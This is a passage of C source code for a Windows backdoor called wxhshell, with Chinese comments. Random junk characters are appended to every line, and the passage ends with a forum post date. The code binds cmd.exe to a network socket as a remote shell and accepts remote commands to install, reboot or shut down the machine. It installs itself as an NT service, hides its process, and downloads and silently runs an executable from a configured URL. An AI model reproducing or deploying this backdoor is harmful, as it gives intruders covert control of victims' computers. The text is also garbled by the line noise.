  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GrF4*I`q  
  } }:$cK(|  
  else { VH7t^fb  
UiU/p  
    switch(cmd[0]) { XJul~"  
  T!/o^0w  
  // 帮助 "LlpZtw  
  case '?': { >Eh U{@Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); n6Oz[7M  
    break; (l5p_x  
  } Q0A4}  
  // 安装 SQMl5d1d:  
  case 'i': { rgy I:F.  
    if(Install()) ;<~f-D,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N^ +q^iW  
    else ._+cvXy  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t{;2$z 0  
    break; nD i^s{  
    } WZa6*pF  
  // 卸载 ]*dYX=6  
  case 'r': { s|IBX0^@  
    if(Uninstall()) OvH:3 "Sdy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sRB=<E*_  
    else |v+z*}fKw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9J:|"@)N  
    break; l|q-kRRjn  
    } 9nY`rF8@  
  // 显示 wxhshell 所在路径 %/dOV[/  
  case 'p': { t 7Y*/v&P(  
    char svExeFile[MAX_PATH]; @9^OHRZX  
    strcpy(svExeFile,"\n\r"); w4fKh  
      strcat(svExeFile,ExeFile); ?NBae\6r  
        send(wsh,svExeFile,strlen(svExeFile),0); !7t&d  
    break; bQD8#Ml1  
    } zw#n85=  
  // 重启 =r]l"T  
  case 'b': { Xg~9<BGsi  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); stiF`l  
    if(Boot(REBOOT)) 81nD:]7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )\])?q61  
    else { {@X>!]  
    closesocket(wsh); ?}`- ?JB1  
    ExitThread(0); c0wLc,)G  
    } !'_7MM  
    break; l8~(bq1  
    } izSX  
  // 关机 cGm3LS6]*  
  case 'd': { Z/,R{Jgt"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #91^1jyMf  
    if(Boot(SHUTDOWN)) yPE3Awh5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %OoH<\w w  
    else { kA=5Kc  
    closesocket(wsh); kq| !{_  
    ExitThread(0); G#[A'tbKk  
    } yjT>bu]  
    break; DN:| s+Lz  
    } {Q>OZm\+  
  // 获取shell A=kOSq 4Q  
  case 's': { 2]kGDeSr  
    CmdShell(wsh); k"#gSCW$  
    closesocket(wsh); 4?Y7. :x  
    ExitThread(0); aEdA'>  
    break; WIU]>_$.  
  } !<TkX/O  
  // 退出 zgY VB}  
  case 'x': { x[mz`0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xVB rwkk(  
    CloseIt(wsh); "U^m~N9k{  
    break; 0SvPr [ >  
    } @QTw9,pS  
  // 离开 0n:cmML )D  
  case 'q': { `M~R4lr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :G>w MMv&z  
    closesocket(wsh); YPx+9^)  
    WSACleanup(); 4AN8Sx(  
    exit(1); xJZaV!N|  
    break; KBM*7raA  
        } N3$1f$`  
  } 3li$)S1z  
  } 4T3Z9KD!8  
% PzkVs  
  // 提示信息 Z*M{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {m!5IR  
} 0{vT`e'  
  } +a39 !j 1_  
gcnX^[`S  
  return; u7mPp3ZYK  
} /"J 6``MV  
PVg<Ovi^d  
// shell模块句柄 dQT[pNp:  
int CmdShell(SOCKET sock) pO *[~yq5  
{ t+ w{uwEY  
STARTUPINFO si; a X1b(h2  
ZeroMemory(&si,sizeof(si)); (zFqb,P  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Mf14> `<`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wU|@fm"  
PROCESS_INFORMATION ProcessInfo; +D5gbxZX  
char cmdline[]="cmd"; -i?gY F!G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); L ~'98C  
  return 0; w71YA#cg  
} %|e)s_%XE  
-E1-(TS  
// 自身启动模式 nrY)i_\  
int StartFromService(void) CNb(\]  
{ qkKl;Z?Y:  
typedef struct YyYZD{^  
{ 9h|6"6  
  DWORD ExitStatus; |!] "y<  
  DWORD PebBaseAddress; fV4rVy8  
  DWORD AffinityMask; z'l HL  
  DWORD BasePriority; ~;9n6U  
  ULONG UniqueProcessId; |K_%]1*riC  
  ULONG InheritedFromUniqueProcessId; 0Xb\w^  
}   PROCESS_BASIC_INFORMATION; Tr_gc~  
$F^VtCx2&  
PROCNTQSIP NtQueryInformationProcess; V?dwTc  
Zb 2pZhkW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; rO>'QZ%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /69yR   
>%;i@"  
  HANDLE             hProcess; K ,NmDc^  
  PROCESS_BASIC_INFORMATION pbi; 8Azh&c  
Mv%Qze,\V^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zc8^#D2y&  
  if(NULL == hInst ) return 0; vYm-$KQ"o  
9HO9>^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); L9O;K$[s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |` ~ioF  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O`0r'&n  
D2}^TIg  
  if (!NtQueryInformationProcess) return 0; )YgntI@  
3}FZg w .  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >=97~a+.  
  if(!hProcess) return 0; ;&<N1  
la<.B^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e4Nd  
^7 \kvW  
  CloseHandle(hProcess); x?o#}:S  
g;=VuQuP|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xI{fd1  
if(hProcess==NULL) return 0; t3<8n;'y:  
27N;>   
HMODULE hMod; )qb'tZz/g_  
char procName[255]; a%.W9=h=M(  
unsigned long cbNeeded; 0e<>2AL   
%d];h  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~2\Sn-`  
8<"g&+T  
  CloseHandle(hProcess); ZeuL*c \  
joskKik^  
if(strstr(procName,"services")) return 1; // 以服务启动 W]/J]O6  
;*Vnwt A  
  return 0; // 注册表启动 qdI%v#'M  
} n[0u&m8  
;>mM9^Jaf  
// 主模块 ( jU $  
int StartWxhshell(LPSTR lpCmdLine) Ic4#Tk20i  
{ ?Fx~_GT  
  SOCKET wsl; hhaiH i!$  
BOOL val=TRUE; jz_Y|"{`v  
  int port=0; X PyDZk/m  
  struct sockaddr_in door; Qu[QcB{ro-  
m[xl) /e  
  if(wscfg.ws_autoins) Install(); ;+XrCy!.)L  
J@:Q(  
port=atoi(lpCmdLine); pWKE`x^  
WfaMu| L  
if(port<=0) port=wscfg.ws_port; 9[zxq`qT}+  
g>h/|b w4  
  WSADATA data; 2|^@=.4\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  7qy PI  
z*h:Nt%.  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2j8GJU/L  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); te( H6c#0  
  door.sin_family = AF_INET; uCr& `  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?D.+D(  
  door.sin_port = htons(port); _M/N_Fm  
#?w07/~L  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { .2c/V  
closesocket(wsl); I+H~ 5zq.  
return 1; sR1_L/.  
} g8uqW1E^  
=oI[E~1<  
  if(listen(wsl,2) == INVALID_SOCKET) { z(LR!hr  
closesocket(wsl); 0]bt}rh  
return 1; fY9+m}$S$  
} exJc[G&t(  
  Wxhshell(wsl); v^@)&,  
  WSACleanup(); H9)n<r  
rb-ao\  
return 0; |\Jnr3)  
,:PMS8pS  
} P4Pc;8T@!  
N\*oL*[j  
// 以NT服务方式启动 %CHw+wT&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) jzV"(p!  
{ 0YFXF  
DWORD   status = 0; 3[u- LYW  
  DWORD   specificError = 0xfffffff; lo>9 \ Po  
- $<oY88  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ) n O ^Ay  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; b_RO%L:"yL  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `B@eeXa;u  
  serviceStatus.dwWin32ExitCode     = 0; 5NZuaN  
  serviceStatus.dwServiceSpecificExitCode = 0; Jm<NDE~rw  
  serviceStatus.dwCheckPoint       = 0; qm!cv;}c1  
  serviceStatus.dwWaitHint       = 0; aI&~aezmN  
`hO%(9V9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 56z>/`=  
  if (hServiceStatusHandle==0) return; yF(9=z"?  
A#cFO)"  
status = GetLastError(); i'li;xUhZ  
  if (status!=NO_ERROR) B za<.E=  
{ $B-/>Rz  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %TQ4 ZFD3  
    serviceStatus.dwCheckPoint       = 0; |p[Mp:^^  
    serviceStatus.dwWaitHint       = 0; L@GICW~  
    serviceStatus.dwWin32ExitCode     = status; LHA^uuBN}  
    serviceStatus.dwServiceSpecificExitCode = specificError; ij0I!ilG4  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g7]S  
    return; U!q2bF<@  
  } x t-s"A  
g)czJ=T2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >`UqS`YQK  
  serviceStatus.dwCheckPoint       = 0; dP_Q kO  
  serviceStatus.dwWaitHint       = 0; >hNSEWMY`  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CWkWW/ZI  
} "}Om0rB}1  
tcj "rV{G  
// 处理NT服务事件,比如:启动、停止 =h4u N,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IW!x!~e  
{ "<0!S~]  
switch(fdwControl) f4  S:L&  
{ xcw:H&\w6  
case SERVICE_CONTROL_STOP: Oh1U=V2~  
  serviceStatus.dwWin32ExitCode = 0; OU%"dmSDk  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; g/.FJ-I*  
  serviceStatus.dwCheckPoint   = 0; M}o.= Iqa  
  serviceStatus.dwWaitHint     = 0; Ld*Ds!*'/  
  { #a=]h}&1?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *,G< X^  
  } W,[ RB  
  return; HD KF>S_S  
case SERVICE_CONTROL_PAUSE: mbbhz,  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5V/&4$.U!  
  break; r5s{t4 ;Ch  
case SERVICE_CONTROL_CONTINUE: LmJjO:W}^y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~$6` e:n  
  break; 3iw3:1RZUZ  
case SERVICE_CONTROL_INTERROGATE: d~QKZ&jf  
  break; >I@&"&d  
}; tZ[9qms^_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d [l8qaD  
} D Z*c.|W  
|u%;"N'p)  
// 标准应用程序主函数 1R@G7m  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;g?PK5rB(  
{ %TFsk  
F.y_H#h  
// 获取操作系统版本 Jf2JGTcm  
OsIsNt=GetOsVer(); RjVU m+<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ub8d]GZJ  
R-zS7Jyox  
  // 从命令行安装 #9(+)~irz`  
  if(strpbrk(lpCmdLine,"iI")) Install(); {D8opepO)  
|Jx:#OM  
  // 下载执行文件 {H,O@  
if(wscfg.ws_downexe) { T4:H:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) DtBvfYO8)>  
  WinExec(wscfg.ws_filenam,SW_HIDE); HR?T  
} Wy-_}wqHg  
AAfU]4u0S  
if(!OsIsNt) { ,K}"o~z  
// 如果时win9x,隐藏进程并且设置为注册表启动 f B<Qs.T  
HideProc(); O8#]7\)  
StartWxhshell(lpCmdLine); vX>{1`e{S  
} ,$t1LV;o=  
else g0B-<>E  
  if(StartFromService()) dn'|~zf.  
  // 以服务方式启动 VM5'd  
  StartServiceCtrlDispatcher(DispatchTable); m#WXZr  
else ep3VJ"^  
  // 普通方式启动 6k@F?qHS  
  StartWxhshell(lpCmdLine); ]/h$6mrL  
'['%b  
return 0; uM 'n4oH  
}
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只看该作者 1 发表于: 2006-10-10
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